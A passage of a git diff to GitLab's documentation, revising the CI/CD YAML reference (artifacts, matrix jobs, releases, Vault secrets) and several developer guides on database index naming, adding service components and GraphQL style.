+expire and are deleted. + +The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry time is not defined, it defaults to the -[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration-core-only) +[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) (30 days by default). To override the expiration date and protect artifacts from being automatically deleted: @@ -3271,7 +3282,8 @@ and are not accessible anymore. The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Examples of valid values: -- `42` +- `'42'` +- `42 seconds` - `3 mins 4 sec` - `2 hrs 20 min` - `2h20min` @@ -3289,10 +3301,10 @@ job: ``` NOTE: **Note:** -Since [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/16267), the latest -artifacts for refs can be locked against deletion, and kept regardless of the expiry time. This feature is disabled -by default and is not ready for production use. It can be enabled for testing by -enabling the `:keep_latest_artifact_for_ref` and `:destroy_only_unlocked_expired_artifacts` [feature flags](../../administration/feature_flags.md). +The latest artifacts for refs are locked against deletion, and kept regardless of +the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) +GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) +in GitLab 13.4. #### `artifacts:reports` @@ -3306,17 +3318,17 @@ These are the available report types: |--------------------------------------------------------------------------------------------------------------------------------------|-------------| | [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | | [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | -| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning-ultimate) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | -| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast-ultimate) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | -| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning-ultimate) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | +| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | +| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | +| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | | [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | | [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | -| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management-ultimate) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | -| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance-premium) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics-premium) **(PREMIUM)** | The `metrics` report collects Metrics. | -| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance-premium) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | -| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast-ultimate) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | +| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | +| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | +| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | +| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | +| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | +| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | | [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` @@ -3393,7 +3405,7 @@ and bring back the old behavior. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20428) in GitLab 8.17. -`coverage` allows you to configure how code coverage will be extracted from the +Use `coverage` to configure how code coverage is extracted from the job output. Regular expressions are the only valid kind of value expected here. So, using @@ -3414,7 +3426,7 @@ job1: > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3442) in GitLab 9.5. > - [Behavior expanded](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5 to control which failures to retry on. -`retry` allows you to configure how many times a job is going to be retried in +Use `retry` to configure how many times a job is going to be retried in case of a failure. When a job fails and has `retry` configured, it's going to be processed again @@ -3494,7 +3506,7 @@ You can specify the number of [retry attempts for certain stages of job executio > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3. -`timeout` allows you to configure a timeout for a specific job. For example: +Use `timeout` to configure a timeout for a specific job. For example: ```yaml build: @@ -3514,7 +3526,7 @@ exceed the runner-specific timeout. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. -`parallel` allows you to configure how many instances of a job to run in +Use `parallel` to configure how many instances of a job to run in parallel. This value has to be greater than or equal to two (2) and less than or equal to 50. This creates N instances of the same job that run in parallel. They are named @@ -3563,7 +3575,7 @@ job split into three separate jobs. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. -`matrix:` allows you to configure different variables for jobs that are running in parallel. +Use `matrix:` to configure different variables for jobs that are running in parallel. There can be from 2 to 50 jobs. Every job gets the same `CI_NODE_TOTAL` [environment variable](../variables/README.md#predefined-environment-variables) value, and a unique `CI_NODE_INDEX` value. @@ -3589,28 +3601,29 @@ deploystacks: This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`: ```plaintext -deploystacks 1/10 with PROVIDER=aws and STACK=monitoring -deploystacks 2/10 with PROVIDER=aws and STACK=app1 -deploystacks 3/10 with PROVIDER=aws and STACK=app2 -deploystacks 4/10 with PROVIDER=ovh and STACK=monitoring -deploystacks 5/10 with PROVIDER=ovh and STACK=backup -deploystacks 6/10 with PROVIDER=ovh and STACK=app -deploystacks 7/10 with PROVIDER=gcp and STACK=data -deploystacks 8/10 with PROVIDER=gcp and STACK=processing -deploystacks 9/10 with PROVIDER=vultr and STACK=data -deploystacks 10/10 with PROVIDER=vultr and STACK=processing +deploystacks: [aws, monitoring] +deploystacks: [aws, app1] +deploystacks: [aws, app2] +deploystacks: [ovh, monitoring] +deploystacks: [ovh, backup] +deploystacks: [ovh, app] +deploystacks: [gcp, data] +deploystacks: [gcp, processing] +deploystacks: [vultr, data] +deploystacks: [vultr, processing] ``` +Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4. + ### `trigger` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Core in 12.8. -`trigger` allows you to define downstream pipeline trigger. When a job created -from `trigger` definition is started by GitLab, a downstream pipeline gets -created. +Use `trigger` to define a downstream pipeline trigger. When GitLab starts a job created +with a `trigger` definition, a downstream pipeline is created. -This keyword allows the creation of two different types of downstream pipelines: +You can use this keyword to create two different types of downstream pipelines: - [Multi-project pipelines](../multi_project_pipelines.md#creating-multi-project-pipelines-from-gitlab-ciyml) - [Child pipelines](../parent_child_pipelines.md) @@ -3889,15 +3902,15 @@ ios-release: script: - echo 'iOS release job' release: - tag_name: v1.0.0-ios - description: 'iOS release v1.0.0' + tag_name: v1.0.0-ios + description: 'iOS release v1.0.0' android-release: script: - echo 'Android release job' release: - tag_name: v1.0.0-android - description: 'Android release v1.0.0' + tag_name: v1.0.0-android + description: 'Android release v1.0.0' ``` #### `release:tag_name` @@ -3969,25 +3982,24 @@ tags. These options cannot be used together, so choose one: script: - echo 'running release_job' release: - name: 'Release $CI_COMMIT_TAG' - description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined - tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline. - ref: '$CI_COMMIT_TAG' - milestones: - - 'm1' - - 'm2' - - 'm3' - released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, - # or can use a variable. + name: 'Release $CI_COMMIT_TAG' + description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined + tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline. + ref: '$CI_COMMIT_TAG' + milestones: + - 'm1' + - 'm2' + - 'm3' + released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, or can use a variable. ``` - To create a release automatically when commits are pushed or merged to the default branch, using a new Git tag that is defined with variables: -NOTE: **Note:** -Environment variables set in `before_script` or `script` are not available for expanding -in the same job. Read more about -[potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). + NOTE: **Note:** + Environment variables set in `before_script` or `script` are not available for expanding + in the same job. Read more about + [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). ```yaml prepare_job: @@ -4007,25 +4019,24 @@ in the same job. Read more about stage: release image: registry.gitlab.com/gitlab-org/release-cli:latest needs: - - job: prepare_job - artifacts: true + - job: prepare_job + artifacts: true rules: - if: $CI_COMMIT_TAG - when: never # Do not run this job when a tag is created manually - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch + when: never # Do not run this job when a tag is created manually + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch script: - echo 'running release_job for $TAG' release: - name: 'Release $TAG' - description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG - tag_name: '$TAG' # variables must be defined elsewhere - ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the - milestones: # prepare_job - - 'm1' - - 'm2' - - 'm3' - released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, - # or can use a variable. + name: 'Release $TAG' + description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG + tag_name: '$TAG' # variables must be defined elsewhere + ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the + milestones: # prepare_job + - 'm1' + - 'm2' + - 'm3' + released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, or can use a variable. ``` #### `releaser-cli` command line @@ -4040,6 +4051,53 @@ The YAML described above would be translated into a CLI command like this: release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" ``` +### `secrets` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4. + +`secrets` indicates the [CI Secrets](../secrets/index.md) this job needs. It should be a hash, +and the keys should be the names of the environment variables the job needs to access the secrets. + +#### `secrets:vault` **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4. + +`vault` keyword specifies secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/). +This syntax has multiple forms. The shortest form asssumes the use of the +[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine, +mounted at the default path `kv-v2`. The last part of the secret's path is the +field to fetch the value for: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password` +``` + +You can specify a custom secrets engine path by adding a suffix starting with `@`: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +``` + +In the detailed form of the syntax, you can specify all details explicitly: + +```yaml +job: + secrets: + DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password` + vault: + engine: + name: kv-v2 + path: ops + path: production/db + field: password +``` + ### `pages` `pages` is a special job that is used to upload static content to GitLab that @@ -4077,12 +4135,12 @@ NOTE: **Note:** Integers (as well as strings) are legal both for variable's name and value. Floats are not legal and can't be used. -GitLab CI/CD allows you to define variables inside `.gitlab-ci.yml` that are -then passed in the job environment. They can be set globally and per-job. -When the `variables` keyword is used on a job level, it will override the global +Variables are configurable values in `.gitlab-ci.yml` that are passed to jobs. +They can be set globally and per-job. +When you use the `variables` keyword in jobs, it overrides the global YAML variables and predefined ones of the same name. -They are stored in the Git repository and are meant to store non-sensitive +Variables are stored in the Git repository and are meant for non-sensitive project configuration, for example: ```yaml @@ -4090,9 +4148,9 @@ variables: DATABASE_URL: "postgres://postgres@postgres/my_database" ``` -These variables can be later used in all executed commands and scripts. +You can use these variables later in all executed commands and scripts. The YAML-defined variables are also set to all created service containers, -thus allowing to fine tune them. +so that you can fine tune them. Except for the user-defined variables, there are also variables [set up by the runner itself](../variables/README.md#predefined-environment-variables). @@ -4277,7 +4335,7 @@ script: - ls -al cache/ ``` -The configurtion above will result in `git fetch` being called this way: +The configuration above will result in `git fetch` being called this way: ```shell git fetch origin $REFSPECS --depth 50 --prune @@ -4432,7 +4490,7 @@ because `$CI_BUILDS_DIR` is not expanded. ## Special YAML features It's possible to use special YAML features like anchors (`&`), aliases (`*`) -and map merging (`<<`), which allows you to greatly reduce the complexity +and map merging (`<<`). Use these features to reduce the complexity of `.gitlab-ci.yml`. Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). @@ -4660,9 +4718,9 @@ If you want to temporarily 'disable' a job, rather than commenting out all the lines where the job is defined: ```yaml -#hidden_job: -# script: -# - run test +# hidden_job: +# script: +# - run test ``` You can instead start its name with a dot (`.`) and it won't be processed by diff --git a/doc/development/README.md b/doc/development/README.md index 74068db726c..abdd5c662f3 100644 --- a/doc/development/README.md +++ b/doc/development/README.md @@ -18,7 +18,7 @@ For information on how to install, configure, update, and upgrade your own GitLa ## Get started -- Set up GitLab's development environment with [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/README.md) +- Set up GitLab's development environment with [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md) - [GitLab contributing guide](contributing/index.md) - [Issues workflow](contributing/issue_workflow.md) for more information on: - Issue tracker guidelines. @@ -57,6 +57,7 @@ Complementary reads: - [Generate a changelog entry with `bin/changelog`](changelog.md) - [Requesting access to Chatops on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members) - [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers) +- [Adding a new service component to GitLab](adding_service_component.md) ## UX and Frontend guides @@ -197,6 +198,7 @@ See [database guidelines](database/index.md). - [Defining relations between files using projections](projections.md) - [Reference processing](./reference_processing.md) - [Compatibility with multiple versions of the application running at the same time](multi_version_compatibility.md) +- [Features inside `.gitlab/`](./features_inside_dot_gitlab.md) ## Other GitLab Development Kit (GDK) guides diff --git a/doc/development/adding_database_indexes.md b/doc/development/adding_database_indexes.md index 7fe047b380b..03557491e68 100644 --- a/doc/development/adding_database_indexes.md +++ b/doc/development/adding_database_indexes.md @@ -121,3 +121,71 @@ may be affected by factors such as (but not limited to): In other words, this data is only reliable for a frequently used database with plenty of data and with as many GitLab features enabled (and being used) as possible. + +## Requirements for naming indexes + +Indexes with complex definitions need to be explicitly named rather than +relying on the implicit naming behavior of migration methods. In short, +that means you **must** provide an explicit name argument for an index +created with one or more of the following options: + +- `where` +- `using` +- `order` +- `length` +- `type` +- `opclass` + +### Considerations for index names + +Index names don't have any significance in the database, so they should +attempt to communicate intent to others. The most important rule to +remember is that generic names are more likely to conflict or be duplicated, +and should not be used. Some other points to consider: + +- For general indexes, use a template, like: `index_{table}_{column}_{options}`. +- For indexes added to solve a very specific problem, it may make sense + for the name to reflect their use. +- Identifiers in PostgreSQL have a maximum length of 63 bytes. +- Check `db/structure.sql` for conflicts and ideas. + +### Why explicit names are required + +As Rails is database agnostic, it generates an index name only +from the required options of all indexes: table name and column name(s). +For example, imagine the following two indexes are created in a migration: + +```ruby +def up + add_index :my_table, :my_column + + add_index :my_table, :my_column, where: 'my_column IS NOT NULL' +end +``` + +Creation of the second index would fail, because Rails would generate +the same name for both indexes. + +This is further complicated by the behavior of the `index_exists?` method. +It considers only the table name, column name(s) and uniqueness specification +of the index when making a comparison. Consider: + +```ruby +def up + unless index_exists?(:my_table, :my_column, where: 'my_column IS NOT NULL') + add_index :my_table, :my_column, where: 'my_column IS NOT NULL' + end +end +``` + +The call to `index_exists?` will return true if **any** index exists on +`:my_table` and `:my_column`, and index creation will be bypassed. + +The `add_concurrent_index` helper is a requirement for creating indexes +on populated tables. Since it cannot be used inside a transactional +migration, it has a built-in check that detects if the index already +exists. In the event a match is found, index creation is skipped. +Without an explicit name argument, Rails can return a false positive +for `index_exists?`, causing a required index to not be created +properly. By always requiring a name for certain types of indexes, the +chance of error is greatly reduced. diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md new file mode 100644 index 00000000000..2801e27145d --- /dev/null +++ b/doc/development/adding_service_component.md @@ -0,0 +1,89 @@ +# Adding a new Service Component to GitLab + +The GitLab product is made up of several service components that run as independent system processes in communication with each other. These services can be run on the same instance, or spread across different instances. A list of the existing components can be found in the [GitLab architecture overview](architecture.md). + +## Integration phases + +The following outline re-uses the [maturity metric](https://about.gitlab.com/direction/maturity) naming as an example of the various phases of integrating a component. These are only loosely coupled to a components actual maturity, and are intended as a guide for implementation order (for example, a component does not need to be enabled by default to be Lovable, and being enabled by default does not on its own cause a component to be Lovable). + +- Proposed + - [Proposing a new component](#proposing-a-new-component) +- Minimal + - [Integrating a new service with GitLab](#integrating-a-new-service-with-gitlab) + - [Handling service dependencies](#handling-service-dependencies) +- Viable + - [Bundled with GitLab installations](#bundling-a-service-with-gitlab) + - [End-to-end testing in GitLab QA](testing_guide/end_to_end/beginners_guide.md) + - [Release management](#release-management) + - [Enabled on GitLab.com](feature_flags/controls.md#enabling-a-feature-for-gitlabcom) +- Complete + - [Configurable by the GitLab orchestrator](https://gitlab.com/gitlab-org/gitlab-orchestrator) +- Lovable + - Enabled by default for the majority of users + +## Proposing a new component + +The initial step for integrating a new component with GitLab starts with creating a [Feature proposal in the issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal). + +Identify the [product category](https://about.gitlab.com/handbook/product/categories/) the component falls under and assign the Engineering Manager and Product Manager responsible for that category. + +The general steps for getting any GitLab feature from proposal to release can be found in the [Product development flow](https://about.gitlab.com/handbook/product-development-flow/). + +## Integrating a new service with GitLab + +Adding a new service follows the same [merge request workflow](contributing/merge_request_workflow.md) as other contributions, and must meet the same [completion criteria](contributing/merge_request_workflow.md#definition-of-done) and in addition needs to cover the following: + +- The [architecture component list](architecture.md#component-list) has been updated to include the service. +- Features provided by the component have been accepted into the [GitLab Product Direction](https://about.gitlab.com/direction/). +- Documentation is available and the support team has been made aware of the new component. + +**For services that can operate completely separate from GitLab:** + +The first iteration should be to add the ability to connect and use the service as an externally installed component. Often this involves providing settings in GitLab to connect to the service, or allow connections from it. And then shipping documentation on how to install and configure the service with GitLab. + +TIP: **Tip:** +[Elasticsearch](../integration/elasticsearch.md#installing-elasticsearch) is an example of a service that has been integrated this way. And many of the other services, including internal projects like Gitaly, started off as separately installed alternatives. + +**For services that depend on the existing GitLab codebase:** + +The first iteration should be opt-in, either through the `gitlab.yml` configuration or through [feature flags](feature_flags.md). For these types of services it is often necessary to [bundle the service and its dependencies with GitLab](#bundling-a-service-with-gitlab) as part of the initial integration. + +TIP: **Tip:** +[ActionCable](https://docs.gitlab.com/omnibus/settings/actioncable.html) is an example of a service that has been added this way. + +## Bundling a service with GitLab + +NOTE: **Note:** +Code shipped with GitLab needs to use a license approved by the Legal team. See the list of [existing approved licenses](https://about.gitlab.com/handbook/engineering/open-source/#using-open-source-libraries). + +NOTE: **Note:** +Notify the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/) when adding a new dependency that must be compiled. We must be able to compile the dependency on all supported platforms. + +New services to be bundled with GitLab need to be available in the following environments. + +**Dev environment** + +The first step of bundling a new service is to provide it in the development environment to engage in collaboration and feedback. + +- [Include in the GDK](https://gitlab.com/gitlab-org/gitlab-development-kit) +- [Include in the source install instructions](../install/installation.md) + +**Standard install methods** + +In order for a service to be bundled for end-users or GitLab.com, it needs to be included in the standard install methods: + +- [Included in the Omnibus package](https://gitlab.com/gitlab-org/omnibus-gitlab) +- [Included in the GitLab Helm charts](https://gitlab.com/gitlab-org/charts/gitlab) + +## Handling service dependencies + +Dependencies should be kept up to date and be tracked for security updates. For the Rails codebase, the JavaScript and Ruby dependencies are +scanned for vulnerabilities using GitLab [dependency scanning](../user/application_security/dependency_scanning/index.md). + +In addition, any system dependencies used in Omnibus packages or the Cloud Native images should be added to the [dependency update automation](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/maintenance/dependencies.io.html#adding-new-dependencies). + +## Release management + +If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery team](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). A list of the projects managed this way can be found in the [release tools project directory](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). + +For example, during the monthly GitLab release, the desired version of Gitaly, GitLab Workhorse, GitLab Shell, etc., need to synchronized through the various release pipelines. diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index bf2d6400f56..18fc0fb7d33 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -14,7 +14,7 @@ which is exposed as an API endpoint at `/api/graphql`. In March 2019, Nick Thomas hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge -with anyone who may work in this part of the code base in the future. You can find the +with anyone who may work in this part of the codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=-9L_1MWrjkg), and the slides on [Google Slides](https://docs.google.com/presentation/d/1qOTxpkTdHIp1CRjuTvO-aXg0_rUtzE3ETfLUdnBB5uQ/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8e78ea7f326b2ef649e7d7d569c26d56/GraphQL_Deep_Dive__Create_.pdf). @@ -33,7 +33,7 @@ Authentication happens through the `GraphqlController`, right now this uses the same authentication as the Rails application. So the session can be shared. -It is also possible to add a `private_token` to the querystring, or +It's also possible to add a `private_token` to the query string, or add a `HTTP_PRIVATE_TOKEN` header. ## Global IDs @@ -41,7 +41,7 @@ add a `HTTP_PRIVATE_TOKEN` header. GitLab's GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`) and never database primary key IDs. -Global ID is [a standard](https://graphql.org/learn/global-object-identification/) +Global ID is [a convention](https://graphql.org/learn/global-object-identification/) used for caching and fetching in client-side libraries. See also: @@ -75,7 +75,7 @@ The `iid`, `title` and `description` are _scalar_ GraphQL types. When exposing a model through the GraphQL API, we do so by creating a new type in `app/graphql/types`. You can also declare custom GraphQL data types -for scalar data types (e.g. `TimeType`). +for scalar data types (for example `TimeType`). When exposing properties in a type, make sure to keep the logic inside the definition as minimal as possible. Instead, consider moving any @@ -142,7 +142,10 @@ def reply_id end ``` -### Connection Types +### Connection types + +TIP: **Tip:** +For specifics on implementation, see [Pagination implementation](#pagination-implementation). GraphQL uses [cursor based pagination](https://graphql.org/learn/pagination/#pagination-and-edges) @@ -363,16 +366,16 @@ def foo end ``` -## Deprecating fields +## Deprecating fields and enum values GitLab's GraphQL API is versionless, which means we maintain backwards compatibility with older versions of the API with every change. Rather -than removing a field, we need to _deprecate_ the field instead. In -future, GitLab -[may remove deprecated fields](https://gitlab.com/gitlab-org/gitlab/-/issues/32292). +than removing a field or [enum value](#enums), we need to _deprecate_ it instead. +In future, GitLab +[may remove deprecated parts of the schema](https://gitlab.com/gitlab-org/gitlab/-/issues/32292). -Fields are deprecated using the `deprecated` property. The value -of the property is a `Hash` of: +Fields and enum values are deprecated using the `deprecated` property. +The value of the property is a `Hash` of: - `reason` - Reason for the deprecation. - `milestone` - Milestone that the field was deprecated. @@ -385,13 +388,14 @@ field :token, GraphQL::STRING_TYPE, null: true, description: 'Token for login' ``` -The original `description:` of the field should be maintained, and should -_not_ be updated to mention the deprecation. +The original `description` of the things being deprecated should be maintained, +and should _not_ be updated to mention the deprecation. Instead, the `reason` will +be appended to the `description`. ### Deprecation reason style guide -Where the reason for deprecation is due to the field being replaced -with another field, the `reason` must be: +Where the reason for deprecation is due to the field or enum value being +replaced, the `reason` must be: ```plaintext Use `otherFieldName` @@ -405,9 +409,22 @@ field :designs, ::Types::DesignManagement::DesignCollectionType, null: true, description: 'The designs associated with this issue', ``` +```ruby +module Types + class TodoStateEnum < BaseEnum + value 'pending', deprecated: { reason: 'Use PENDING', milestone: '10.0' } + value 'done', deprecated: { reason: 'Use DONE', milestone: '10.0' } + value 'PENDING', value: 'pending' + value 'DONE', value: 'done' + end +end +``` + If the field is not being replaced by another field, a descriptive deprecation `reason` should be given. +See also [Aliasing and deprecating mutations](#aliasing-and-deprecating-mutations). + ## Enums GitLab GraphQL enums are defined in `app/graphql/types`. When defining new enums, the @@ -452,6 +469,9 @@ module Types end ``` +Enum values can be deprecated using the +[`deprecated` keyword](#deprecating-fields-and-enum-values). + ## JSON When data to be returned by GraphQL is stored as @@ -760,6 +780,44 @@ to advertise the need for lookahead: For an example of real world use, please see [`ResolvesMergeRequests`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/resolvers/concerns/resolves_merge_requests.rb). +## Pass a parent object into a child Presenter + +Sometimes you need to access the resolved query parent in a child context to compute fields. Usually the parent is only +available in the `Resolver` class as `parent`. + +To find the parent object in your `Presenter` class: + +1. Add the parent object to the GraphQL `context` from within your resolver's `resolve` method: + + ```ruby + def resolve(**args) + context[:parent_object] = parent + end + ``` + +1. Declare that your fields require the `parent` field context. For example: + + ```ruby + # in ChildType + field :computed_field, SomeType, null: true, + method: :my_computing_method, + extras: [:parent], # Necessary + description: 'My field description' + ``` + +1. Declare your field's method in your Presenter class and have it accept the `parent` keyword argument. +This argument contains the parent **GraphQL context**, so you have to access the parent object with +`parent[:parent_object]` or whatever key you used in your `Resolver`: + + ```ruby + # in ChildPresenter + def my_computing_method(parent:) + # do something with `parent[:parent_object]` here + end + ``` + +For an example of real-world use, check [this MR that added `scopedPath` and `scopedUrl` to `IterationPresenter`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39543) + ## Mutations Mutations are used to change any stored values, or to trigger @@ -1114,7 +1172,8 @@ mount_aliased_mutation 'BarMutation', Mutations::FooMutation ``` This allows us to rename a mutation and continue to support the old name, -when coupled with the [`deprecated`](#deprecating-fields) argument. +when coupled with the [`deprecated`](#deprecating-fields-and-enum-values) +argument. Example: @@ -1130,6 +1189,10 @@ tested for within the unit test of `Types::MutationType`. The merge request can be referred to as an example of this, including the method of testing deprecated aliased mutations. +## Pagination implementation + +To learn more, visit [GraphQL pagination](graphql_guide/pagination.md). + ## Validating arguments For validations of single arguments, use the @@ -1199,6 +1262,9 @@ Using the `GraphqlHelpers#all_graphql_fields_for`-helper, a query including all available fields can be constructed. This makes it easy to add a test rendering all possible fields for a query. +If you're adding a field to a query that supports pagination and sorting, +visit [Testing](graphql_guide/pagination.md#testing) for details. + To test GraphQL mutation requests, `GraphqlHelpers` provides 2 helpers: `graphql_mutation` which takes the name of the mutation, and a hash with the input for the mutation. This will return a struct with @@ -1285,7 +1351,7 @@ end More about complexity: [GraphQL Ruby documentation](https://graphql-ruby.org/queries/complexity_and_depth.html). -## Documentation and Schema +## Documentation and schema Our schema is located at `app/graphql/gitlab_schema.rb`. See the [schema reference](../api/graphql/reference/index.md) for details. diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md index 06b05f49b12..400752c69e9 100644 --- a/doc/development/api_styleguide.md +++ b/doc/development/api_styleguide.md @@ -13,10 +13,12 @@ Always use an [Entity](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ ## Documentation -API endpoints must come with [documentation](documentation/styleguide.md#restful-api), unless it is internal or behind a feature flag. +Each new or updated API endpoint must come with documentation, unless it is internal or behind a feature flag. The docs should be in the same merge request, or, if strictly necessary, in a follow-up with the same milestone as the original merge request. +See the [Documentation Style Guide RESTful API section](documentation/styleguide.md#restful-api) for details on documenting API resources in Markdown as well 